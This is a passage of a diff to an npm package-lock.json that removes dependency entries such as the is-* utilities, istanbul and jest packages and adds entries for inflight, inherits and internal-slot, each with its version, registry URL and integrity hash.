"sha512-zB9CruMamjym81i2JZ3UMn54PKGsQzsJeo6xvN3HJJ4CAsQNB6iRutp2To77OfCNuoxspsIhzaPoO1zyCEhFOg==", - "dependencies": { - "has-bigints": "^1.0.1" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/is-binary-path": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/is-binary-path/-/is-binary-path-2.1.0.tgz", - "integrity": "sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==", - "dev": true, - "dependencies": { - "binary-extensions": "^2.0.0" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/is-boolean-object": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/is-boolean-object/-/is-boolean-object-1.1.2.tgz", - "integrity": "sha512-gDYaKHJmnj4aWxyj6YHyXVpdQawtVLHU5cb+eztPGczf6cjuTdwve5ZIEfgXqH4e57An1D1AKf8CZ3kYrQRqYA==", - "dependencies": { - "call-bind": "^1.0.2", - "has-tostringtag": "^1.0.0" - }, - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/is-callable": { - "version": "1.2.4", - "resolved": "https://registry.npmjs.org/is-callable/-/is-callable-1.2.4.tgz", - "integrity": "sha512-nsuwtxZfMX67Oryl9LCQ+upnC0Z0BgpwntpS89m1H/TLF0zNfzfLMV/9Wa/6MZsj0acpEjAO0KF1xT6ZdLl95w==", - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/is-core-module": { - "version": "2.9.0", - "resolved": "https://registry.npmjs.org/is-core-module/-/is-core-module-2.9.0.tgz", - "integrity": "sha512-+5FPy5PnwmO3lvfMb0AsoPaBG+5KHUI0wYFXOtYPnVVVspTFUuMZNfNaNVRt3FZadstu2c8x23vykRW/NBoU6A==", - "dependencies": { - "has": "^1.0.3" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/is-date-object": { - "version": "1.0.5", - "resolved": "https://registry.npmjs.org/is-date-object/-/is-date-object-1.0.5.tgz", - "integrity": "sha512-9YQaSxsAiSwcvS33MBk3wTCVnWK+HhF8VZR2jRxehM16QcVOdHqPn4VPHmRK4lSr38n9JriurInLcP90xsYNfQ==", - "dependencies": { - "has-tostringtag": "^1.0.0" - }, - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/is-extglob": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz", - "integrity": "sha1-qIwCU1eR8C7TfHahueqXc8gz+MI=", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/is-fn": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/is-fn/-/is-fn-1.0.0.tgz", - "integrity": "sha1-lUPV3nvPWwiiLsiiC65uKG1RDYw=", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/is-fullwidth-code-point": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", - "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==", - "dev": true, - "engines": { - "node": ">=8" - } - }, - "node_modules/is-function": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/is-function/-/is-function-1.0.2.tgz", - "integrity": "sha512-lw7DUp0aWXYg+CBCN+JKkcE0Q2RayZnSvnZBlwgxHBQhqt5pZNVy4Ri7H9GmmXkdu7LUthszM+Tor1u/2iBcpQ==" - }, - "node_modules/is-generator-fn": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/is-generator-fn/-/is-generator-fn-2.1.0.tgz", - "integrity": "sha512-cTIB4yPYL/Grw0EaSzASzg6bBy9gqCofvWN8okThAYIxKJZC+udlRAmGbM0XLeniEJSs8uEgHPGuHSe1XsOLSQ==", - "dev": true, - "engines": { - "node": ">=6" - } - }, - "node_modules/is-generator-function": { - "version": "1.0.10", - "resolved": "https://registry.npmjs.org/is-generator-function/-/is-generator-function-1.0.10.tgz", - "integrity": "sha512-jsEjy9l3yiXEQ+PsXdmBwEPcOxaXWLspKdplFUVI9vq1iZgIekeC0L167qeu86czQaxed3q/Uzuw0swL0irL8A==", - "dependencies": { - "has-tostringtag": "^1.0.0" - }, - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/is-glob": { - "version": "4.0.3", - "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.3.tgz", - "integrity": "sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==", - "dev": true, - "dependencies": { - "is-extglob": "^2.1.1" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/is-hex-prefixed": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/is-hex-prefixed/-/is-hex-prefixed-1.0.0.tgz", - "integrity": "sha1-fY035q135dEnFIkTxXPggtd39VQ=", - "engines": { - "node": ">=6.5.0", - "npm": ">=3" - } - }, - "node_modules/is-lambda": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/is-lambda/-/is-lambda-1.0.1.tgz", - "integrity": "sha1-PZh3iZ5qU+/AFgUEzeFfgubwYdU=", - "dev": true, - "optional": true, - "peer": true - }, - "node_modules/is-nan": { - "version": "1.3.2", - "resolved": "https://registry.npmjs.org/is-nan/-/is-nan-1.3.2.tgz", - "integrity": "sha512-E+zBKpQ2t6MEo1VsonYmluk9NxGrbzpeeLC2xIViuO2EjU2xsXsBPwTr3Ykv9l08UYEVEdWeRZNouaZqF6RN0w==", - "dependencies": { - "call-bind": "^1.0.0", - "define-properties": "^1.1.3" - }, - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/is-negative-zero": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/is-negative-zero/-/is-negative-zero-2.0.1.tgz", - "integrity": "sha512-2z6JzQvZRa9A2Y7xC6dQQm4FSTSTNWjKIYYTt4246eMTJmIo0Q+ZyOsU66X8lxK1AbB92dFeglPLrhwpeRKO6w==", - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/is-number": { - "version": "7.0.0", - "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", - "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", - "dev": true, - "engines": { - "node": ">=0.12.0" - } - }, - "node_modules/is-number-object": { - "version": "1.0.6", - "resolved": "https://registry.npmjs.org/is-number-object/-/is-number-object-1.0.6.tgz", - "integrity": "sha512-bEVOqiRcvo3zO1+G2lVMy+gkkEm9Yh7cDMRusKKu5ZJKPUYSJwICTKZrNKHA2EbSP0Tu0+6B/emsYNHZyn6K8g==", - "dependencies": { - "has-tostringtag": "^1.0.0" - }, - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/is-object": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/is-object/-/is-object-1.0.2.tgz", - "integrity": "sha512-2rRIahhZr2UWb45fIOuvZGpFtz0TyOZLf32KxBbSoUCeZR495zCKlWUKKUByk3geS2eAs7ZAABt0Y/Rx0GiQGA==", - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/is-plain-obj": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/is-plain-obj/-/is-plain-obj-1.1.0.tgz", - "integrity": "sha1-caUMhCnfync8kqOQpKA7OfzVHT4=", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/is-plain-object": { - "version": "2.0.4", - "resolved": "https://registry.npmjs.org/is-plain-object/-/is-plain-object-2.0.4.tgz", - "integrity": "sha512-h5PpgXkWitc38BBMYawTYMWJHFZJVnBquFE57xFpjB8pJFiF6gZ+bU+WyI/yqXiFR5mdLsgYNaPe8uao6Uv9Og==", - "dev": true, - "dependencies": { - "isobject": "^3.0.1" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/is-potential-custom-element-name": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/is-potential-custom-element-name/-/is-potential-custom-element-name-1.0.1.tgz", - "integrity": "sha512-bCYeRA2rVibKZd+s2625gGnGF/t7DSqDs4dP7CrLA1m7jKWz6pps0LpYLJN8Q64HtmPKJ1hrN3nzPNKFEKOUiQ==", - "dev": true - }, - "node_modules/is-regex": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/is-regex/-/is-regex-1.1.4.tgz", - "integrity": "sha512-kvRdxDsxZjhzUX07ZnLydzS1TU/TJlTUHHY4YLL87e37oUA49DfkLqgy+VjFocowy29cKvcSiu+kIv728jTTVg==", - "dependencies": { - "call-bind": "^1.0.2", - "has-tostringtag": "^1.0.0" - }, - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/is-retry-allowed": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/is-retry-allowed/-/is-retry-allowed-1.2.0.tgz", - "integrity": "sha512-RUbUeKwvm3XG2VYamhJL1xFktgjvPzL0Hq8C+6yrWIswDy3BIXGqCxhxkc30N9jqK311gVU137K8Ei55/zVJRg==", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/is-shared-array-buffer": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/is-shared-array-buffer/-/is-shared-array-buffer-1.0.1.tgz", - "integrity": "sha512-IU0NmyknYZN0rChcKhRO1X8LYz5Isj/Fsqh8NJOSf+N/hCOTwy29F32Ik7a+QszE63IdvmwdTPDd6cZ5pg4cwA==", - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/is-stream": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/is-stream/-/is-stream-2.0.1.tgz", - "integrity": "sha512-hFoiJiTl63nn+kstHGBtewWSKnQLpyb155KHheA1l39uvtO9nWIop1p3udqPcUd/xbF1VLMO4n7OI6p7RbngDg==", - "dev": true, - "engines": { - "node": ">=8" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/is-string": { - "version": "1.0.7", - "resolved": "https://registry.npmjs.org/is-string/-/is-string-1.0.7.tgz", - "integrity": "sha512-tE2UXzivje6ofPW7l23cjDOMa09gb7xlAqG6jG5ej6uPV32TlWP3NKPigtaGeHNu9fohccRYvIiZMfOOnOYUtg==", - "dependencies": { - "has-tostringtag": "^1.0.0" - }, - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/is-symbol": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/is-symbol/-/is-symbol-1.0.4.tgz", - "integrity": "sha512-C/CPBqKWnvdcxqIARxyOh4v1UUEOCHpgDa0WYgpKDFMszcrPcffg5uhwSgPCLD2WWxmq6isisz87tzT01tuGhg==", - "dependencies": { - "has-symbols": "^1.0.2" - }, - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/is-typed-array": { - "version": "1.1.8", - "resolved": "https://registry.npmjs.org/is-typed-array/-/is-typed-array-1.1.8.tgz", - "integrity": "sha512-HqH41TNZq2fgtGT8WHVFVJhBVGuY3AnP3Q36K8JKXUxSxRgk/d+7NjmwG2vo2mYmXK8UYZKu0qH8bVP5gEisjA==", - "dependencies": { - "available-typed-arrays": "^1.0.5", - "call-bind": "^1.0.2", - "es-abstract": "^1.18.5", - "foreach": "^2.0.5", - "has-tostringtag": "^1.0.0" - }, - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/is-typedarray": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/is-typedarray/-/is-typedarray-1.0.0.tgz", - "integrity": "sha1-5HnICFjfDBsR3dppQPlgEfzaSpo=" - }, - "node_modules/is-weakref": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/is-weakref/-/is-weakref-1.0.1.tgz", - "integrity": "sha512-b2jKc2pQZjaeFYWEf7ScFj+Be1I+PXmlu572Q8coTXZ+LD/QQZ7ShPMst8h16riVgyXTQwUsFEl74mDvc/3MHQ==", - "dependencies": { - "call-bind": "^1.0.0" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/isarray": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz", - "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=" - }, - "node_modules/isexe": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz", - "integrity": "sha1-6PvzdNxVb/iUehDcsFctYz8s+hA=", - "dev": true - }, - "node_modules/isobject": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", - "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/isstream": { - "version": "0.1.2", - "resolved": "https://registry.npmjs.org/isstream/-/isstream-0.1.2.tgz", - "integrity": "sha1-R+Y/evVa+m+S4VAOaQ64uFKcCZo=" - }, - "node_modules/istanbul-lib-coverage": { - "version": "3.2.0", - "resolved": "https://registry.npmjs.org/istanbul-lib-coverage/-/istanbul-lib-coverage-3.2.0.tgz", - "integrity": "sha512-eOeJ5BHCmHYvQK7xt9GkdHuzuCGS1Y6g9Gvnx3Ym33fz/HpLRYxiS0wHNr+m/MBC8B647Xt608vCDEvhl9c6Mw==", - "dev": true, - "engines": { - "node": ">=8" - } - }, - "node_modules/istanbul-lib-instrument": { - "version": "5.2.0", - "resolved": "https://registry.npmjs.org/istanbul-lib-instrument/-/istanbul-lib-instrument-5.2.0.tgz", - "integrity": "sha512-6Lthe1hqXHBNsqvgDzGO6l03XNeu3CrG4RqQ1KM9+l5+jNGpEJfIELx1NS3SEHmJQA8np/u+E4EPRKRiu6m19A==", - "dev": true, - "dependencies": { - "@babel/core": "^7.12.3", - "@babel/parser": "^7.14.7", - "@istanbuljs/schema": "^0.1.2", - "istanbul-lib-coverage": "^3.2.0", - "semver": "^6.3.0" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/istanbul-lib-report": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/istanbul-lib-report/-/istanbul-lib-report-3.0.0.tgz", - "integrity": "sha512-wcdi+uAKzfiGT2abPpKZ0hSU1rGQjUQnLvtY5MpQ7QCTahD3VODhcu4wcfY1YtkGaDD5yuydOLINXsfbus9ROw==", - "dev": true, - "dependencies": { - "istanbul-lib-coverage": "^3.0.0", - "make-dir": "^3.0.0", - "supports-color": "^7.1.0" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/istanbul-lib-report/node_modules/has-flag": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", - "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", - "dev": true, - "engines": { - "node": ">=8" - } - }, - "node_modules/istanbul-lib-report/node_modules/supports-color": { - "version": "7.2.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", - "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", - "dev": true, - "dependencies": { - "has-flag": "^4.0.0" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/istanbul-lib-source-maps": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/istanbul-lib-source-maps/-/istanbul-lib-source-maps-4.0.1.tgz", - "integrity": "sha512-n3s8EwkdFIJCG3BPKBYvskgXGoy88ARzvegkitk60NxRdwltLOTaH7CUiMRXvwYorl0Q712iEjcWB+fK/MrWVw==", - "dev": true, - "dependencies": { - "debug": "^4.1.1", - "istanbul-lib-coverage": "^3.0.0", - "source-map": "^0.6.1" - }, - "engines": { - "node": ">=10" - } - }, - "node_modules/istanbul-reports": { - "version": "3.1.5", - "resolved": "https://registry.npmjs.org/istanbul-reports/-/istanbul-reports-3.1.5.tgz", - "integrity": "sha512-nUsEMa9pBt/NOHqbcbeJEgqIlY/K7rVWUX6Lql2orY5e9roQOthbR3vtY4zzf2orPELg80fnxxk9zUyPlgwD1w==", - "dev": true, - "dependencies": { - "html-escaper": "^2.0.0", - "istanbul-lib-report": "^3.0.0" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/isurl": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/isurl/-/isurl-1.0.0.tgz", - "integrity": "sha512-1P/yWsxPlDtn7QeRD+ULKQPaIaN6yF368GZ2vDfv0AL0NwpStafjWCDDdn0k8wgFMWpVAqG7oJhxHnlud42i9w==", - "dependencies": { - "has-to-string-tag-x": "^1.2.0", - "is-object": "^1.0.1" - }, - "engines": { - "node": ">= 4" - } - }, - "node_modules/jest": { - "version": "29.0.1", - "resolved": "https://registry.npmjs.org/jest/-/jest-29.0.1.tgz", - "integrity": "sha512-liHkwzaW6iwQyhRBFj0A4ZYKcsQ7ers1s62CCT95fPeNzoxT/vQRWwjTT4e7jpSCwrvPP2t1VESuy7GrXcr2ug==", - "dev": true, - "dependencies": { - "@jest/core": "^29.0.1", - "@jest/types": "^29.0.1", - "import-local": "^3.0.2", - "jest-cli": "^29.0.1" - }, - "bin": { - "jest": "bin/jest.js" - }, - "engines": { - "node": "^14.15.0 || ^16.10.0 || >=18.0.0" - }, - "peerDependencies": { - "node-notifier": "^8.0.1 || ^9.0.0 || ^10.0.0" - }, - "peerDependenciesMeta": { - "node-notifier": { - "optional": true - } - } - }, - "node_modules/jest-changed-files": { - "version": "29.0.0", - "resolved": "https://registry.npmjs.org/jest-changed-files/-/jest-changed-files-29.0.0.tgz", - "integrity": "sha512-28/iDMDrUpGoCitTURuDqUzWQoWmOmOKOFST1mi2lwh62X4BFf6khgH3uSuo1e49X/UDjuApAj3w0wLOex4VPQ==", - "dev": true, - "dependencies": { - "execa": "^5.0.0", - "p-limit": "^3.1.0" - }, - "engines": { - "node": "^14.15.0 || ^16.10.0 || >=18.0.0" - } - }, - "node_modules/jest-circus": { - "version": "29.0.1", - "resolved": "https://registry.npmjs.org/jest-circus/-/jest-circus-29.0.1.tgz", - "integrity": "sha512-I5J4LyK3qPo8EnqPmxsMAVR+2SFx7JOaZsbqW9xQmk4UDmTCD92EQgS162Ey3Jq6CfpKJKFDhzhG3QqiE0fRbw==", - "dev": true, - "dependencies": { - "@jest/environment": "^29.0.1", - "@jest/expect": "^29.0.1", - "@jest/test-result": "^29.0.1", - "@jest/types": "^29.0.1", - "@types/node": "*", - "chalk": "^4.0.0", - "co": "^4.6.0", - "dedent": "^0.7.0", - "is-generator-fn": "^2.0.0", - "jest-each": "^29.0.1", - "jest-matcher-utils": "^29.0.1", - "jest-message-util": "^29.0.1", - "jest-runtime": "^29.0.1", - "jest-snapshot": "^29.0.1", - "jest-util": "^29.0.1", - "p-limit": "^3.1.0", - "pretty-format": "^29.0.1", - "slash": "^3.0.0", - "stack-utils": "^2.0.3" - }, - "engines": { - "node": "^14.15.0 || ^16.10.0 || >=18.0.0" - } - }, - "node_modules/jest-circus/node_modules/ansi-styles": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", - "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", - "dev": true, - "dependencies": { - "color-convert": "^2.0.1" - }, - "engines": { - "node": ">=8" - }, - "funding": { - "url": "https://github.com/chalk/ansi-styles?sponsor=1" - } - }, - "node_modules/jest-circus/node_modules/chalk": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", - "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", - "dev": true, - "dependencies": { - "ansi-styles": "^4.1.0", - "supports-color": "^7.1.0" - }, - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/chalk/chalk?sponsor=1" - } - }, - "node_modules/jest-circus/node_modules/color-convert": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", - "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", - "dev": true, - "dependencies": { - "color-name": "~1.1.4" - }, - "engines": { - "node": ">=7.0.0" - } - }, - "node_modules/jest-circus/node_modules/color-name": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", - "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", - "dev": true - }, - "node_modules/jest-circus/node_modules/has-flag": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", - "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", - "dev": true, - "engines": { - "node": ">=8" - } - }, - "node_modules/jest-circus/node_modules/supports-color": { - "version": "7.2.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", - "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", - "dev": true, - "dependencies": { - "has-flag": "^4.0.0" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/jest-cli": { - "version": "29.0.1", - "resolved": "https://registry.npmjs.org/jest-cli/-/jest-cli-29.0.1.tgz", - "integrity": "sha512-XozBHtoJCS6mnjCxNESyGm47Y4xSWzNlBJj4tix9nGrG6m068B83lrTWKtjYAenYSfOqyYVpQCkyqUp35IT+qA==", - "dev": true, - "dependencies": { - "@jest/core": "^29.0.1", - "@jest/test-result": "^29.0.1", - "@jest/types": "^29.0.1", - "chalk": "^4.0.0", - "exit": "^0.1.2", - "graceful-fs": "^4.2.9", - "import-local": "^3.0.2", - "jest-config": "^29.0.1", - "jest-util": "^29.0.1", - "jest-validate": "^29.0.1", - "prompts": "^2.0.1", - "yargs": "^17.3.1" - }, - "bin": { - "jest": "bin/jest.js" - }, - "engines": { - "node": "^14.15.0 || ^16.10.0 || >=18.0.0" - }, - "peerDependencies": { - "node-notifier": "^8.0.1 || ^9.0.0 || ^10.0.0" - }, - "peerDependenciesMeta": { - "node-notifier": { - "optional": true - } - } - }, - "node_modules/jest-cli/node_modules/ansi-styles": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", - "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", - "dev": true, - "dependencies": { - "color-convert": "^2.0.1" - }, - "engines": { - "node": ">=8" - }, - "funding": { - "url": "https://github.com/chalk/ansi-styles?sponsor=1" - } - }, - "node_modules/jest-cli/node_modules/chalk": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", - "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", - "dev": true, - "dependencies": { - "ansi-styles": "^4.1.0", - "supports-color": "^7.1.0" - }, - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/chalk/chalk?sponsor=1" - } - }, - "node_modules/jest-cli/node_modules/color-convert": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", - "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", - "dev": true, - "dependencies": { - "color-name": "~1.1.4" - }, - "engines": { - "node": ">=7.0.0" - } - }, - "node_modules/jest-cli/node_modules/color-name": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", - "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", - "dev": true - }, - "node_modules/jest-cli/node_modules/has-flag": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", - "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", - "dev": true, - "engines": { - "node": ">=8" - } - }, - "node_modules/jest-cli/node_modules/supports-color": { - "version": "7.2.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", - "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", - "dev": true, - "dependencies": { - "has-flag": "^4.0.0" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/jest-config": { - "version": "29.0.1", - "resolved": "https://registry.npmjs.org/jest-config/-/jest-config-29.0.1.tgz", - "integrity": "sha512-3duIx5ucEPIsUOESDTuasMfqHonD0oZRjqHycIMHSC4JwbvHDjAWNKN/NiM0ZxHXjAYrMTLt2QxSQ+IqlbYE5A==", - "dev": true, - "dependencies": { - "@babel/core": "^7.11.6", - "@jest/test-sequencer": "^29.0.1", - "@jest/types": "^29.0.1", - "babel-jest": "^29.0.1", - "chalk": "^4.0.0", - "ci-info": "^3.2.0", - "deepmerge": "^4.2.2", - "glob": "^7.1.3", - "graceful-fs": "^4.2.9", - "jest-circus": "^29.0.1", - "jest-environment-node": "^29.0.1", - "jest-get-type": "^29.0.0", - "jest-regex-util": "^29.0.0", - "jest-resolve": "^29.0.1", - "jest-runner": "^29.0.1", - "jest-util": "^29.0.1", - "jest-validate": "^29.0.1", - "micromatch": "^4.0.4", - "parse-json": "^5.2.0", - "pretty-format": "^29.0.1", - "slash": "^3.0.0", - "strip-json-comments": "^3.1.1" - }, - "engines": { - "node": "^14.15.0 || ^16.10.0 || >=18.0.0" - }, - "peerDependencies": { - "@types/node": "*", - "ts-node": ">=9.0.0" - }, - "peerDependenciesMeta": { - "@types/node": { - "optional": true - }, - "ts-node": { - "optional": true - } - } - }, - "node_modules/jest-config/node_modules/ansi-styles": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", - "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", - "dev": true, - "dependencies": { - "color-convert": "^2.0.1" - }, - "engines": { - "node": ">=8" - }, - "funding": { - "url": "https://github.com/chalk/ansi-styles?sponsor=1" - } - }, - "node_modules/jest-config/node_modules/chalk": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", - "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz", + "integrity": "sha1-Sb1jMdfQLQwJvJEKEHW6gWW1bfk=", "dev": true, "dependencies": { - "ansi-styles": "^4.1.0", - "supports-color": "^7.1.0" - }, - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/chalk/chalk?sponsor=1" + "once": "^1.3.0", + "wrappy": "1" } }, - "node_modules/jest-config/node_modules/color-convert": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", - "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "node_modules/inherits": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", + "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==" + }, + "node_modules/internal-slot": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/internal-slot/-/internal-slot-1.1.0.tgz", + 